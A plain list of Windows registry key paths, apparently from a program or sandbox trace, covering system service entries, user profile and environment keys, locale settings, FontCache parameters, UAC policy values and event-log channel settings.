HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\idsvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\idsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\idsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\IPBusEnum HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\IPBusEnum\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\IPBusEnum\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KtmRm HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KtmRm\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KtmRm\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\lltdsvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\lltdsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\lltdsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\lmhosts HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\lmhosts\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\lmhosts\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Mcx2Svc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Mcx2Svc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Mcx2Svc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\MpsSvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\MpsSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\MpsSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\MSiSCSI HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\MSiSCSI\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\MSiSCSI\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\napagent\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Netlogon HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Netlogon\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Netlogon\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetMsmqActivator HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetMsmqActivator\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetMsmqActivator\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetPipeActivator HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetPipeActivator\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetPipeActivator\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetTcpActivator HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetTcpActivator\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetTcpActivator\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetTcpPortSharing HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetTcpPortSharing\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetTcpPortSharing\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2psvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2psvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2psvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PeerDistSvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PeerDistSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PeerDistSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\pla HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\pla\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\pla\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PNRPAutoReg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PNRPAutoReg\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PNRPAutoReg\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PNRPsvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PNRPsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PNRPsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\ProtectedStorage HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\ProtectedStorage\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\ProtectedStorage\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\QWAVE HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\QWAVE\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\QWAVE\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RasAuto HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RasAuto\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RasAuto\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RasMan HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RasMan\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RasMan\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RemoteAccess HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RemoteAccess\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RemoteAccess\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RemoteRegistry HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RemoteRegistry\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RemoteRegistry\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SCardSvr HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SCardSvr\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SCardSvr\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SCPolicySvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SCPolicySvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SCPolicySvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\seclogon HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\seclogon\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\seclogon\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SensrSvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SensrSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SensrSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SessionEnv HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SessionEnv\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SessionEnv\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SharedAccess HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SharedAccess\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SharedAccess\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\sppuinotify HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\sppuinotify\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\sppuinotify\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SstpSvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SstpSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SstpSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\StorSvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\StorSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\StorSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TabletInputService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TabletInputService\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TabletInputService\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TapiSrv HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TapiSrv\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TapiSrv\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TBS HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TBS\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TBS\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TermService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TermService\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TermService\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\THREADORDER HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\THREADORDER\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\THREADORDER\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\UmRdpService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\UmRdpService\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\UmRdpService\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\upnphost HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\upnphost\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\upnphost\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\W32Time HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\W32Time\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\W32Time\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WbioSrvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WbioSrvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WbioSrvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wcncsvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wcncsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wcncsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WcsPlugInService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WcsPlugInService\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WcsPlugInService\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WebClient HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WebClient\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WebClient\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Wecsvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Wecsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Wecsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wercplsupport HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wercplsupport\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wercplsupport\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WerSvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WerSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WerSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WinDefend HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WinDefend\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WinDefend\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WinRM HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WinRM\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WinRM\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Wlansvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Wlansvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Wlansvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WPCSvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WPCSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WPCSvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wudfsvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wudfsvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wudfsvc\WOW64 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WwanSvc HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WwanSvc\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\WwanSvc\WOW64 HKEY_USERS\S-1-5-19 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AppIDSvc\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Mcx2Svc\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\QWAVE\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SCardSvr\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SensrSvc\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SSDPSRV\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TBS\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\upnphost\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wcncsvc\RequiredPrivileges HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-19 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-19\ProfileImagePath HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData HKEY_USERS\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData HKEY_USERS\S-1-5-19\Environment HKEY_USERS\S-1-5-19\Volatile Environment HKEY_USERS\S-1-5-19\Volatile Environment\0 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Environment HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Winmgmt HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Winmgmt\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\RequiredPrivileges HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\Start HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\ErrorControl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\Tag HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\DependOnService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\DependOnGroup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\Group HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wuauserv\ObjectName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\Type HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\Start HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\ErrorControl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\Tag HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\DependOnService HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\DependOnGroup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\wscsvc\Group HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000\ProfileImagePath HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Environment HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Volatile Environment HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Volatile Environment\0 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Svchost HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation\CoInitializeSecurityParam HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation\AuthenticationLevel HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation\ImpersonationLevel HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation\AuthenticationCapabilities HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation\CoInitializeSecurityAppID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation\DeferredCoInitializeSecurityServices HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation\DefaultRpcStackSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation\SystemCritical HKEY_LOCAL_MACHINE\Software\Classes HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\svchost.exe HKEY_CURRENT_USER HKEY_CURRENT_USER\Control Panel\International HKEY_CURRENT_USER\Control Panel\International\LocaleName HKEY_CURRENT_USER\Control Panel\International\sCountry HKEY_CURRENT_USER\Control Panel\International\sList HKEY_CURRENT_USER\Control Panel\International\sDecimal HKEY_CURRENT_USER\Control Panel\International\sThousand HKEY_CURRENT_USER\Control Panel\International\sGrouping HKEY_CURRENT_USER\Control Panel\International\sNativeDigits HKEY_CURRENT_USER\Control Panel\International\sCurrency HKEY_CURRENT_USER\Control Panel\International\sMonDecimalSep HKEY_CURRENT_USER\Control Panel\International\sMonThousandSep HKEY_CURRENT_USER\Control Panel\International\sMonGrouping HKEY_CURRENT_USER\Control Panel\International\sPositiveSign HKEY_CURRENT_USER\Control Panel\International\sNegativeSign HKEY_CURRENT_USER\Control Panel\International\sTimeFormat HKEY_CURRENT_USER\Control Panel\International\sShortTime HKEY_CURRENT_USER\Control Panel\International\s1159 HKEY_CURRENT_USER\Control Panel\International\s2359 HKEY_CURRENT_USER\Control Panel\International\sShortDate HKEY_CURRENT_USER\Control Panel\International\sYearMonth HKEY_CURRENT_USER\Control Panel\International\sLongDate HKEY_CURRENT_USER\Control Panel\International\iCountry HKEY_CURRENT_USER\Control Panel\International\iMeasure HKEY_CURRENT_USER\Control Panel\International\iPaperSize HKEY_CURRENT_USER\Control Panel\International\iDigits HKEY_CURRENT_USER\Control Panel\International\iLZero HKEY_CURRENT_USER\Control Panel\International\iNegNumber HKEY_CURRENT_USER\Control Panel\International\NumShape HKEY_CURRENT_USER\Control Panel\International\iCurrDigits HKEY_CURRENT_USER\Control Panel\International\iCurrency HKEY_CURRENT_USER\Control Panel\International\iNegCurr HKEY_CURRENT_USER\Control Panel\International\iCalendarType HKEY_CURRENT_USER\Control Panel\International\iFirstDayOfWeek HKEY_CURRENT_USER\Control Panel\International\iFirstWeekOfYear HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\ServiceDll HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\ServiceManifest HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\ServiceMain HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FontCache\Parameters HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\InitialTimeout HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\InitialSystemCacheSize HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\MaximumSystemCacheSize HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\InitialUserCacheSize HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\MaximumUserCacheSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA\AccessProviders HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FontCache\Parameters\ServiceDllUnloadOnStop HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Rpc HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\eventlog\Microsoft-Windows-WindowsUpdateClient/Operational HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\Type HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\Enabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\FileMax HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\FileCounter HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\BufferSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\MinBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\MaxBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\Latency HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\ClockType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\SidType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\Level HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\ControlGuid HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\MaxSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\MaxSizeUpper HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\Retention HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\AutoBackupLogFiles HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\File HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\FilterId HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\Isolation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\OwningPublisher HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-WindowsUpdateClient/Operational\ChannelAccess HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\eventlog\Microsoft-Windows-NetworkAccessProtection/WHC HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\Type HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\Enabled 